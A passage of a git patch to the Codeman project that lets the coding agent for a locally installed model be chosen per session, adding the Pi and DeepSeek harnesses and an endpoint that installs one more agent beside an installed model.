'dsh-tui').config.model).toBe('qwen3'); }); From d22bfaaaaf9916ae5e5a2735588c1c36e1521d36 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 09:53:54 +0100 Subject: [PATCH 05/11] feat(local-model): the coding agent is chosen per session, with Pi and DeepSeek Harness An installed model knew one coding agent: the one it was installed with. The launch check never asked about the agent, only about the endpoint and the model, so nothing stopped a second one. What was missing is the list, and a way to get an agent that is not on the Mac yet. The install view gains `harnesses`: every catalogue harness the model in use can be run with, each with how it stands (`ready`, `installable`, `installing`, `setup-needed`), the literal install command, a readiness mark for scripts, and the actions the server accepts for it. `cli` stays the default agent, and names one that can be started whenever one can, so a client that reads only `cli` never starts an agent that is gone. `POST /api/local-model/agent { cli }` installs one more agent beside an installed model. It is not a job and not an event of the reducer: the state stays `installed` whatever the installer does, so a failed npm install never blocks a session on a model that works. Same install slot and same compiled stock command as the `agent` step, one at a time, the outcome in memory only. The catalogue: - `pi` is no longer gated. Its two open questions were answered by a run against a real model (the `name:tag` id reaches the runtime unchanged; its first request is 2,096 tokens), and Codeman now passes it the window. Its minimum is 65536 like the others: nothing below was run, and no model row offers less, so no Mac's pick changes. - `deepseek` is new. It is a launcher: its install command leaves it with nothing to launch, so it is never reported installable (read off `discovery.launcherProfile`, not the id) and a Mac is offered it only where it was already set up. Its tool round trip was seen on a scripted endpoint only; the header says how to gate it again. - a row may carry `readyMark`; `opencode` has the measured one. A switch no longer refuses for the agent a model was checked with when another agent that can run it is on the Mac. Co-Authored-By: Claude Fable 5.2 --- src/config/local-model-catalog.ts | 61 ++++- src/local-model/harness-facts.ts | 18 +- src/local-model/install-job.ts | 309 ++++++++++++++++++++--- src/types/local-model-install.ts | 91 ++++++- src/types/local-model.ts | 24 +- src/web/public/i18n.js | 4 +- src/web/routes/local-model-routes.ts | 15 +- src/web/schemas.ts | 17 +- test/local-model-catalog.test.ts | 26 +- test/local-model-harness-facts.test.ts | 57 +++++ test/local-model-install-job.test.ts | 200 +++++++++++++++ test/local-model-install-service.test.ts | 239 +++++++++++++++++- test/local-model-recommend.test.ts | 20 +- test/routes/local-model-routes.test.ts | 79 +++++- 14 files changed, 1089 insertions(+), 71 deletions(-) diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts index a6ed16684..49fcf1dbd 100644 --- a/src/config/local-model-catalog.ts +++ b/src/config/local-model-catalog.ts @@ -13,10 +13,11 @@ * computed from that model's architecture. test/local-model-catalog.test.ts recomputes every * computed figure from a table of architectures and refuses a row that is not in it, so a * new row needs its model's config.json read, not a figure borrowed from a neighbour. - * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI - * registry id as data: no code may compare it with a literal. Whether that CLI exists and can - * take a custom model is checked against the registry at call time, in - * src/local-model/harness-facts.ts, never here. + * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn?, readyMark? }`). The + * `cli` is a CLI registry id as data: no code may compare it with a literal. Whether that CLI + * exists, can take a custom model and can be installed from here is checked against the + * registry at call time, in src/local-model/harness-facts.ts, never here. HARNESSES below + * says what was measured for each row, and where. * - The schema checks more than fields. Across rows it requires: unique model ids and ranks, * unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness * row, and `chips` most specific first. @@ -56,14 +57,45 @@ * | | | faster than the run without it | * | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed | * | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review | - * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why | - * | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated | - * | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | | + * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. Nothing was run below it, | + * | | higher"), and OpenCode v1.19.5's own fixed prompt (about | and no model row offers less, so | + * | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | every row says 65536 (HARNESSES) | * | | leaves 14,000 to 16,000 tokens, less than one default | | * | | 2,000-line file read | | * | `chips` | the bandwidth column of | yes, read at the source for this | * | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file | * + * HARNESSES. What each harness row rests on. The runs of 2026-11-10 were made on Linux through + * Codeman's own custom model launch, against a real model (Ollama 0.13.0, a 1.7B model on a CPU) + * where it says REAL, and against a scripted endpoint that replays that runtime's stream of a + * tool call where it says SCRIPTED. A scripted run proves the harness's side of the protocol, + * never what a model does with its prompt. None of them ran on a Mac or on the pinned runtime. + * + * | Harness | First request (fixed prompt) | Tool round trip | `readyMark` | + * |------------|-----------------------------------|----------------------------------------|--------------------------------------| + * | `opencode` | 8,115 tokens, 11 tools (v1.19.5; | SCRIPTED (v1.19.5). REAL in our own | `┃`: the first painted frame holds | + * | | more with user-level skills) | run on a Mac, see the `tested` entry | the composer; a prompt sent at the | + * | | | | mark was submitted, 2 of 2 launches | + * | `claude` | about 36,000 tokens, which is | not run again for this table (the row | none here: the CLI registry's | + * | | `slowFirstTurn` | shipped in 1.50.0) | `composerReadyMark` stands | + * | `pi` | 2,096 tokens, 4 tools (v1.5.2, | REAL (v1.5.2): tool call, tool result, | none: its composer rules are painted | + * | | the runtime's own count) | final answer, the file on disk | before it takes Enter (2 of 2 | + * | | | | prompts sent at the rule stayed | + * | | | | unsent), and it draws nothing that | + * | | | | is a contract once it does | + * | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only (0.1.1-rc.2 with dsh-TUI | none here: the CLI registry's `❯` | + * | | (0.1.1-rc.2) | 0.10.0-beta.1, not today's versions). | stands; a prompt sent at it was | + * | | | REAL: the launch and the model name | submitted, 2 of 2 launches | + * | | | reached the runtime, no turn finished | | + * + * Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for + * two open questions, both answered by its run: the id (above), and the window, which Codeman + * now passes to it (src/custom-model-injection.ts; without it pi takes an unknown model for a + * 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to + * launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered + * it only where it was already set up. It is offered on a scripted run and one unfinished real + * one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. + * * MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes` * (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three * figures are filled by the rule of its runner: @@ -222,6 +254,8 @@ const LocalHarnessEntrySchema = z rank: z.number().int(), gated: z.boolean().optional(), slowFirstTurn: z.boolean().optional(), + // One literal a script waits for: no white space, so the terminal's own spacing cannot split it. + readyMark: z.string().min(1).max(64).regex(/^\S+$/).optional(), }) .strict(); @@ -528,13 +562,16 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { tested: [], }, ], - // The higher rank wins when a model can run with more than one harness. + // The higher rank wins when a model can run with more than one harness. What each row rests + // on is the HARNESSES table of the file header. harnesses: [ - { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, // Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes. - { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, - // Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified. - { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + // The smallest first request of the four (2,096 tokens). No `readyMark`: see HARNESSES. + { cli: 'pi', minContext: 65536, rank: 2 }, + // A launcher: offered only where it is already set up, never installed from here. + { cli: 'deepseek', minContext: 65536, rank: 1 }, ], // Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source // table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546, diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts index 143826f14..65f1350cc 100644 --- a/src/local-model/harness-facts.ts +++ b/src/local-model/harness-facts.ts @@ -9,14 +9,18 @@ * mechanism (`capabilities.customModelInjection.kind` is `unsupported`); * - reports `label` from the registry entry and `installed` from the same probe the page * render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build; - * - reports `installable` only for a STOCK CLI that is not installed and whose install - * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`), - * and then carries that command as `installCommand`, so the consent screen can print the + * - reports `installable` only for a STOCK CLI that is not installed, whose install command + * for this platform needs no administrator rights (`installCommandNeedsAdmin()`) and which + * is not a launcher (`discovery.launcherProfile`: its install command leaves it with nothing + * to launch, and what it launches is third-party code with a consent of its own in the Run + * menu), and then carries that command as `installCommand`, so the consent screen can print the * literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the * one a `clis.json` override supplies: it is exactly what the install job would run, and * an override file must not be able to change that; * - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch - * applies to the model id before anything is written. + * applies to the model id before anything is written; + * - passes on the registry's `capabilities.composerReadyMark` as `readyMark` when it holds no + * white space (a script waits for it as one literal). * * Rules: * - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue @@ -156,19 +160,23 @@ export async function buildHarnessFacts( } let installCommand: string | undefined; - if (!installed && entry.stock) { + // A launcher (`discovery.launcherProfile`) is not startable after its install command: it + // still needs something to launch, which that command does not install. + if (!installed && entry.stock && entry.discovery.launcherProfile === undefined) { const command = resolved.installCommandFor(entry); if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) { installCommand = command; } } + const registryMark = entry.capabilities.composerReadyMark; facts.push({ cli: row.cli, label: entry.label, installed, installable: installCommand !== undefined, ...(installCommand !== undefined ? { installCommand } : {}), + ...(registryMark !== undefined && !/\s/.test(registryMark) ? { readyMark: registryMark } : {}), acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId), }); } diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index f8835bf1a..b6a236ef1 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -33,7 +33,7 @@ * | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop | * | | in use and every other model of the | runtime is started again | | the runtime, install (add a | * | | library | when it was not stopped | | model), use, delete a model, | - * | | | | | remove | + * | | | | | install a coding agent, remove | * * The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the * job stopped in; they first make sure the runtime runs when the step needs it. @@ -96,6 +96,16 @@ * server's own total. * - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a * `HarnessFact`. + * - The coding agent is chosen PER SESSION. The state file's `cli` is the agent of the job + * and, once installed, the default one; the view's `harnesses` lists every catalogue harness + * the model in use can be run with (`buildHarnessRows()`). The launch check + * (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent. + * - Installing one more coding agent beside an installed model (`installAgent()`, + * `POST /api/local-model/agent`) is NOT a job and not an event of the reducer: the state + * stays `installed` whatever the installer does, so a failed `npm install` never blocks a + * session on a model that works. It runs in the background through the same install slot + * and the same stock command as the `agent` step, one at a time, and what it leaves behind + * is in memory only (`LocalModelHarnessRow.status` `installing`, or its `error`). * * The service (`createLocalModelService()`), beyond the reducer: * - Verbs run one at a time on one queue, so two installs sent together cannot both find the @@ -161,6 +171,7 @@ import { type HardwareFacts, type HarnessFact, type LocalModelAction, + type LocalModelAgentRequest, type LocalModelCatalog, type LocalModelConflict, type LocalModelDeleteRequest, @@ -172,6 +183,8 @@ import { type LocalModelInstallState, type LocalModelInstallStep, type LocalModelInstallView, + type LocalModelHarnessRow, + type LocalModelHarnessStatus, type LocalModelLibraryAction, type LocalModelLibraryEntry, type LocalModelLibraryRow, @@ -261,8 +274,9 @@ export interface InstallStateRow { * Every action a client may take in this state. The view's `actions` is this list narrowed * by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and * `start-session` only while it runs, `start-session` only when nothing blocks a session, - * `use` and `delete-model` only while a row of the library offers them, and in `idle` - * `remove` only while the model store still holds something. + * `use` and `delete-model` only while a row of the library offers them, `install-agent` only + * while a row of `harnesses` offers it, and in `idle` `remove` only while the model store + * still holds something. */ actions: readonly LocalModelAction[]; } @@ -312,7 +326,7 @@ export const INSTALL_STATE_TABLE: Readonly>; + /** + * The coding agents of the model in use (`buildHarnessRows()`), without their + * `start-session` action: the view adds it once it knows whether a session can be started. + * Absent while nothing is installed, and when the catalogue or the CLI registry could not be + * read: the view then lists none. + */ + harnesses?: readonly LocalModelHarnessRow[]; } /** An error code with its sentence, its slots and its one next step. Pure. */ @@ -819,6 +840,91 @@ export function buildLibraryRows(state: LocalModelStateFile, live: InstallLiveFa return rows; } +/** What the service remembers of installs of a coding agent beside an installed model. In memory only. */ +export interface AgentInstallMemory { + /** The CLI id of the agent whose installer runs right now. */ + running?: string; + /** The agents whose last install failed, by CLI id, with the end of what the installer printed. */ + failed?: Readonly>; +} + +/** + * The coding agents the model in use can be run with: every catalogue harness that is not + * gated, has a fact, works at the model's context and accepts its name. The default agent + * first, then the higher catalogue rank. The default is the agent of the installation + * (`state.cli`) while it can be started, else the first one that can, so a client that names + * no agent never starts one that is gone. Rows carry no `start-session` action yet: whether a + * session can be started at all is the view's knowledge (`buildInstallView()`). Empty unless + * the state is `installed`. Pure, and it compares no CLI id with a literal. + */ +export function buildHarnessRows( + state: LocalModelStateFile, + catalog: Pick, + facts: readonly HarnessFact[], + memory: AgentInstallMemory = {} +): LocalModelHarnessRow[] { + if (state.state !== 'installed' || !state.model) return []; + const model = state.model; + const ranked: Array<{ rank: number; row: LocalModelHarnessRow }> = []; + for (const entry of catalog.harnesses) { + if (entry.gated) continue; + const fact = facts.find((candidate) => candidate.cli === entry.cli); + if (!fact || model.context < entry.minContext) continue; + let accepts = false; + try { + accepts = fact.acceptsModelId(model.id); + } catch { + accepts = false; + } + if (!accepts) continue; + + const installing = !fact.installed && memory.running === entry.cli; + const status: LocalModelHarnessStatus = fact.installed + ? 'ready' + : installing + ? 'installing' + : fact.installable + ? 'installable' + : 'setup-needed'; + const failure = status === 'installable' ? memory.failed?.[entry.cli] : undefined; + const readyMark = entry.readyMark ?? fact.readyMark; + ranked.push({ + rank: entry.rank, + row: { + cli: entry.cli, + cliLabel: fact.label, + default: false, + status, + ...((status === 'installable' || status === 'installing') && fact.installCommand !== undefined + ? { installCommand: fact.installCommand } + : {}), + ...(entry.slowFirstTurn ? { slowFirstTurn: true } : {}), + ...(readyMark !== undefined ? { readyMark } : {}), + ...(failure + ? { + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: fact.label } }, + ...(failure.detail ? { detail: failure.detail } : {}), + }, + } + : {}), + // One installer at a time: while one runs, no other agent is offered for install. + actions: status === 'installable' && memory.running === undefined ? ['install'] : [], + }, + }); + } + ranked.sort((a, b) => b.rank - a.rank); + const rows = ranked.map((entry) => entry.row); + const chosen = state.cli?.id; + const fallback = + rows.find((row) => row.cli === chosen && row.status === 'ready') ?? + rows.find((row) => row.status === 'ready') ?? + rows.find((row) => row.cli === chosen); + if (!fallback) return rows; + fallback.default = true; + return [fallback, ...rows.filter((row) => row !== fallback)]; +} + /** * The actions the server accepts right now: the state row's list narrowed by what is live. * `rows` is `buildLibraryRows()` of the same two arguments, for a caller that has it. Pure. @@ -833,12 +939,18 @@ export function allowedActions( return actions.filter((action) => { if (action === 'use') return rows.some((row) => row.actions.includes('use')); if (action === 'delete-model') return rows.some((row) => row.actions.includes('delete')); + if (action === 'install-agent') return (live.harnesses ?? []).some((row) => row.actions.includes('install')); // From idle a Remove only clears what an earlier one kept: offered while there is something. if (state.state === 'idle') return action !== 'remove' || (live.storeBytes ?? 0) > 0; if (state.state !== 'installed') return true; if (action === 'start') return !live.running; if (action === 'stop') return live.running; - if (action === 'start-session') return live.running && !blocked; + if (action === 'start-session') { + // With the agents known, a session needs one that can be started. Unknown (the registry + // could not be read) is not "none": the launch itself says what is missing then. + const anAgent = live.harnesses === undefined || live.harnesses.some((row) => row.status === 'ready'); + return live.running && !blocked && anAgent; + } return true; }); } @@ -881,6 +993,7 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa folder: live.folder, library, ...(live.storeBytes !== undefined ? { store: { bytes: live.storeBytes, gb: formatGb(live.storeBytes) } } : {}), + harnesses: [], actions: allowedActions(state, live, library), }; if (state.state === 'idle') return view; @@ -907,6 +1020,18 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa if (state.connection) view.endpointId = state.connection.endpointId; const blocker = installedBlocker(state, live); if (blocker) view.error = blocker; + // An agent that can be started offers a session exactly when the model does. + const canStart = view.actions.includes('start-session'); + view.harnesses = (live.harnesses ?? []).map((row) => + row.status === 'ready' && canStart ? { ...row, actions: ['start-session', ...row.actions] } : { ...row } + ); + // The default agent is the one a client that names none starts: never one that is gone + // while another can be started. + const preferred = view.harnesses.find((row) => row.default); + if (preferred) { + view.cli = preferred.cli; + view.cliLabel = preferred.cliLabel; + } return view; } @@ -1053,8 +1178,12 @@ export interface LocalModelServiceDeps { /** The install as the routes and the server see it. One per process. */ export interface LocalModelService { - /** The `install` object of the GET. Never throws. */ - view(): Promise; + /** + * The `install` object of the GET. Never throws. `harnessFacts`: the facts a caller already + * built for the same answer (the GET builds them for the recommendation), so they are not + * built twice; without them the service builds its own. + */ + view(options?: { harnessFacts?: readonly HarnessFact[] }): Promise; /** * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the @@ -1105,6 +1234,14 @@ export interface LocalModelService { * runtime is down. */ deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise; + /** + * `POST /api/local-model/agent`: install one more coding agent beside an installed model. + * Answers once the installer is STARTED; it runs on in the server, and the view's + * `harnesses` says how it stands. Not a job: the state stays `installed` and sessions go on. + * The agent must be a row of `harnesses` that offers `install`; one that can already be + * started answers with the view as it is. One installer at a time (409 `job-running`). + */ + installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise; /** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */ cancel(): Promise; /** @@ -1148,7 +1285,7 @@ export interface LocalModelService { shutdown(): Promise; /** What the runtime supervisor reports through `onChange`: the pid of a child the moment it is spawned, a new pid after a restart, the budget line. Stored, never thrown. */ onRuntimeChange(status: RuntimeStatus): void; - /** Resolves once no job is in flight. For `shutdown()` and for tests. */ + /** Resolves once no job is in flight and no coding agent is being installed. For `shutdown()` and for tests. */ idle(): Promise; } @@ -1260,6 +1397,13 @@ class LocalModelServiceImpl implements LocalModelService { /** What the model store last took on disk, and when. */ private storeCache: { at: number; bytes: number } | undefined; private storeRefresh: Promise | undefined; + /** + * The install of one more coding agent beside an installed model, while its installer runs. + * Not a job: the state file never hears of it, and the state stays `installed`. + */ + private agentInstall: { cli: string; controller: AbortController; promise: Promise } | undefined; + /** The agents whose last such install failed, with the end of what the installer printed. Forgotten at a restart. */ + private readonly agentFailures = new Map(); constructor(deps: Partial) { const pin = deps.pin ?? OLLAMA_RUNTIME_PIN; @@ -1730,8 +1874,30 @@ class LocalModelServiceImpl implements LocalModelService { // ---------- The view ---------- - private async liveFacts(state: LocalModelStateFile): Promise { + /** What `buildHarnessRows()` is told about agent installs: the one that runs, and the ones that failed. */ + private agentMemory(): AgentInstallMemory { + return { + ...(this.agentInstall ? { running: this.agentInstall.cli } : {}), + ...(this.agentFailures.size > 0 ? { failed: Object.fromEntries(this.agentFailures) } : {}), + }; + } + + private async liveFacts( + state: LocalModelStateFile, + harnessFacts?: readonly HarnessFact[] + ): Promise { const status = this.deps.supervisor.status(); + let harnesses: LocalModelHarnessRow[] | undefined; + if (state.state === 'installed') { + try { + const catalog = this.deps.getCatalog(); + const facts = harnessFacts ?? (await this.deps.buildHarnessFacts(catalog)); + harnesses = buildHarnessRows(state, catalog, facts, this.agentMemory()); + } catch (err) { + // Unknown, not "none": the view then lists no agent and still offers a session. + console.warn(`[local-model] The coding agents could not be listed: ${getErrorMessage(err)}`); + } + } let developerTools: LocalModelDeveloperTools = 'unknown'; try { developerTools = await this.deps.checkDeveloperTools(); @@ -1767,10 +1933,11 @@ class LocalModelServiceImpl implements LocalModelService { ...(tags ? { tags } : {}), ...(this.storeCache ? { storeBytes: this.storeCache.bytes } : {}), ...(labels ? { labels } : {}), + ...(harnesses ? { harnesses } : {}), }; } - async view(): Promise { + async view(options: { harnessFacts?: readonly HarnessFact[] } = {}): Promise { try { await this.recovered(); let state = await this.currentState(); @@ -1793,7 +1960,7 @@ class LocalModelServiceImpl implements LocalModelService { void this.refreshDigest(state).catch(() => {}); } await this.freshenListings(state); - return buildInstallView(state, await this.liveFacts(state)); + return buildInstallView(state, await this.liveFacts(state, options.harnessFacts)); } catch (err) { console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`); return buildInstallView(IDLE_LOCAL_MODEL_STATE, { @@ -1988,9 +2155,11 @@ class LocalModelServiceImpl implements LocalModelService { const open = this.sessionsOpen(state, liveSessionNames); if (open) return open; - // The coding agent of the switch: the one this model was checked with, else the one of - // the state, whichever is on this Mac now. A job that stopped while it installed another - // agent leaves the state naming one that may not be there. + // The coding agent of the switch, which becomes the default one: the one this model was + // checked with, else the one of the state, whichever is on this Mac now. A job that + // stopped while it installed another agent leaves the state naming one that may not be + // there. With neither, any agent the model can be run with that is on this Mac: the + // agent is chosen per session, so a switch is not refused for one that was uninstalled. const agents = [entry.cli, state.cli].filter( (cli, index, all): cli is { id: string; label: string } => cli !== undefined && all.findIndex((other) => other?.id === cli.id) === index @@ -2002,6 +2171,22 @@ class LocalModelServiceImpl implements LocalModelService { break; } } + if (!cli) { + try { + const catalog = this.deps.getCatalog(); + const afterSwitch: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { id: entry.id, label: entry.label, context: entry.context }, + }; + const ready = buildHarnessRows(afterSwitch, catalog, await this.deps.buildHarnessFacts(catalog)).find( + (row) => row.status === 'ready' + ); + if (ready) cli = { id: ready.cli, label: ready.cliLabel }; + } catch { + /* no other agent is known then, and the switch is refused below */ + } + } if (!cli) { return { ok: false, @@ -2031,6 +2216,54 @@ class LocalModelServiceImpl implements LocalModelService { }); } + installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise { + return this.exclusive(async () => { + await this.settle(); + const state = await this.currentState(); + if (state.state === 'installing') return conflict('job-running'); + if (!INSTALL_STATE_TABLE[state.state].actions.includes('install-agent')) return conflict('wrong-state'); + // One installer at a time, whichever agent it is for. + if (this.agentInstall) return conflict('job-running'); + + // Checked against what the server itself lists right now, before anything runs. + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const row = buildHarnessRows(state, catalog, facts).find((candidate) => candidate.cli === request.cli); + if (!row) { + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered } }; + } + // Already there (a second click, or it was installed by hand meanwhile): nothing to do. + if (row.status === 'ready') return this.answer(); + if (row.status !== 'installable') { + return { + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: row.cliLabel } }, + }; + } + + this.agentFailures.delete(row.cli); + const controller = new AbortController(); + const cli = row.cli; + const run = { + cli, + controller, + promise: this.installCodingAgent(cli, actor, controller.signal) + .then((outcome) => { + if (outcome.kind === 'fail') this.agentFailures.set(cli, { detail: outcome.detail }); + }) + .catch((err: unknown) => { + this.agentFailures.set(cli, { detail: getErrorMessage(err) }); + }) + .finally(() => { + if (this.agentInstall === run) this.agentInstall = undefined; + }), + }; + this.agentInstall = run; + return this.answer(); + }); + } + deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise { return this.exclusive(async () => { await this.settle(); @@ -2372,6 +2605,8 @@ class LocalModelServiceImpl implements LocalModelService { const job = this.job; // The state file keeps saying `installing`: the next start reads that as a paused job. job?.controller.abort(); + // An agent installer beside an installed model: its process group is ended, nothing is recorded. + this.agentInstall?.controller.abort(); // The runtime is signalled at once, not after the job let go: the server may exit soon. const stopped = Promise.resolve() .then(() => this.deps.supervisor.stop()) @@ -2385,7 +2620,9 @@ class LocalModelServiceImpl implements LocalModelService { } async idle(): Promise { - while (this.job) await this.job.promise.catch(() => {}); + while (this.job || this.agentInstall) { + await (this.job ?? this.agentInstall)?.promise.catch(() => {}); + } } // ---------- The job ---------- @@ -2741,24 +2978,38 @@ class LocalModelServiceImpl implements LocalModelService { signal: AbortSignal ): Promise { if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' }; - const cli = state.cli.id; - const vars = this.errorVars('harness-failed', state); + const outcome = await this.installCodingAgent(state.cli.id, actor, signal); + if (outcome.kind !== 'fail') return outcome; + return { + kind: 'fail', + code: 'harness-failed', + vars: this.errorVars('harness-failed', state), + detail: outcome.detail, + }; + } + + /** + * Installs one coding agent with its STOCK command, through the install slot it shares with + * the CLI management routes. What the `agent` step of a job and `installAgent()` both run. + * `done` also when the agent is already there; `fail` carries what to show as the detail. + */ + private async installCodingAgent( + cli: string, + actor: LocalModelActor, + signal: AbortSignal + ): Promise<{ kind: 'done' } | { kind: 'cancelled' } | { kind: 'fail'; detail: string }> { // A resumed job, or an installer that finished before a restart: the binary may be there. - if (await this.deps.recheckCliInstalled(cli)) return DONE; - if (signal.aborted) return CANCELLED; + if (await this.deps.recheckCliInstalled(cli)) return { kind: 'done' }; + if (signal.aborted) return { kind: 'cancelled' }; // Only a coding agent of the catalogue, and only its STOCK install command. if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' }; + return { kind: 'fail', detail: 'Not a coding agent of the local model catalogue.' }; } const command = this.deps.stockInstallCommand(cli); - if (!command) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' }; - } + if (!command) return { kind: 'fail', detail: 'No install command for this platform.' }; const release = this.deps.tryBeginCliInstall(cli); - if (!release) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' }; - } + if (!release) return { kind: 'fail', detail: 'Another install of this coding agent is running.' }; let result: CliInstallResult; try { result = await this.deps.runInstallCommand(command, { signal }); @@ -2783,13 +3034,13 @@ class LocalModelServiceImpl implements LocalModelService { // Even a failed or interrupted install may have left a binary behind: the cached lookups // are forgotten either way, and what counts is whether the binary is found now. const installed = await this.deps.recheckCliInstalled(cli); - if (result.aborted || signal.aborted) return CANCELLED; - if (installed) return DONE; + if (result.aborted || signal.aborted) return { kind: 'cancelled' }; + if (installed) return { kind: 'done' }; const detail = result.timedOut ? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.` : result.output.slice(-INSTALLER_DETAIL_CHARS).trim() || (result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.'); - return { kind: 'fail', code: 'harness-failed', vars, detail }; + return { kind: 'fail', detail }; } private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise { diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index 6ac649a5c..39dc7d830 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -211,6 +211,8 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' * - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it. * - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library` * offers it. + * - `install-agent`: `POST /api/local-model/agent`. Listed only while a row of `harnesses` + * offers it. */ export type LocalModelAction = | 'install' @@ -221,7 +223,8 @@ export type LocalModelAction = | 'remove' | 'start-session' | 'use' - | 'delete-model'; + | 'delete-model' + | 'install-agent'; /** Whether the Mac has the developer tools (git, Python) a coding agent calls. */ export type LocalModelDeveloperTools = @@ -301,7 +304,7 @@ export const LOCAL_MODEL_INSTALL_LABELS = { refusedNotInLibrary: 'This model is not one of the checked models on this Mac.', refusedNotOnThisMac: 'This model is not on this Mac.', deleteFailed: '{model} could not be deleted from this Mac.', - refusedAgentMissing: '{cli} is not installed on this Mac. Install this model again to choose a coding agent.', + refusedAgentMissing: '{cli} is not installed on this Mac. Install a coding agent in the local model window first.', endpointManaged: 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.', endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.', @@ -461,8 +464,9 @@ export interface LocalModelLoadedFacts { * | `port` | | once chosen | once chosen | once chosen | yes | * | `loaded`, `endpointId` | | | | | yes | * - * `running`, `developerTools`, `runtime`, `folder`, `library` and `actions` are always - * present. `store` is present once the model store was measured. + * `running`, `developerTools`, `runtime`, `folder`, `library`, `harnesses` and `actions` are + * always present. `store` is present once the model store was measured. `harnesses` is empty + * in every state but `installed`. */ export interface LocalModelInstallView { state: LocalModelInstallState; @@ -473,7 +477,11 @@ export interface LocalModelInstallView { progress?: LocalModelProgress; error?: LocalModelInstallError; model?: LocalModelInstalledModel; - /** The coding agent: a CLI registry id, as data. */ + /** + * The coding agent of the job, and on an installed model the DEFAULT one: the agent it was + * installed with, which a client that names no agent starts. A CLI registry id, as data. + * `harnesses` lists every agent a session can be started with. + */ cli?: string; /** The coding agent's display label ('OpenCode'). */ cliLabel?: string; @@ -498,10 +506,74 @@ export interface LocalModelInstallView { library: LocalModelLibraryRow[]; /** What the model store takes on disk right now. Present in every state once it was measured. */ store?: LocalModelStoreView; + /** + * The coding agents a session on the model in use can be started with: every catalogue + * harness that works at the model's context and accepts its name, the default one (`cli`) + * first, then by catalogue rank. The agent is chosen per session, so a row is not a setting. + * Empty in every state but `installed`. + */ + harnesses: LocalModelHarnessRow[]; /** What the server accepts right now, see `LocalModelAction`. 